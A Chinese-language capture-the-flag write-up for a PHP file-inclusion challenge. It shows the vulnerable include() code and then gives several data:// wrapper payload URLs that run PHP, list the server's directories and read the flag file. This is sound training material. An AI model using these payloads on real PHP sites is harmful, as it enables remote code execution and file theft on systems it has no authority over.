WEB:Web_php_include(多解)

背景知识

文件包含

file://协议

php://协议

data://协议

了解strstr函数

题目

<?php
show_source(__FILE__);
echo $_GET['hello']; /*可以构造payload*/
$page=$_GET['page'];
while (strstr($page, "php://")) {   /*strstr()函数*/
    $page=str_replace("php://", "", $page); /*page参数中带有php://的都会被替换成空*/
}
include($page);
?>

由于file://协议用于本地系统,所以考虑用data://协议

先进行测试

/?page=data://text/plain,<?php phpinfo()?>  /*可以使用base64防止乱码问题*/

再利用,可得到目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

再利用,可得到当前目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

看到fl4g文件,再用 file_get_contents 就可以读取里面的内容

/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>

得到flag

其他解法待更新

参考文章链接:

https://blog.csdn.net/weixin_43818995/article/details/104164700

https://blog.csdn.net/weixin_63810302/article/details/125383740

https://blog.csdn.net/yingyugo/article/details/109783035

https://blog.csdn.net/2301_77300311/article/details/130487360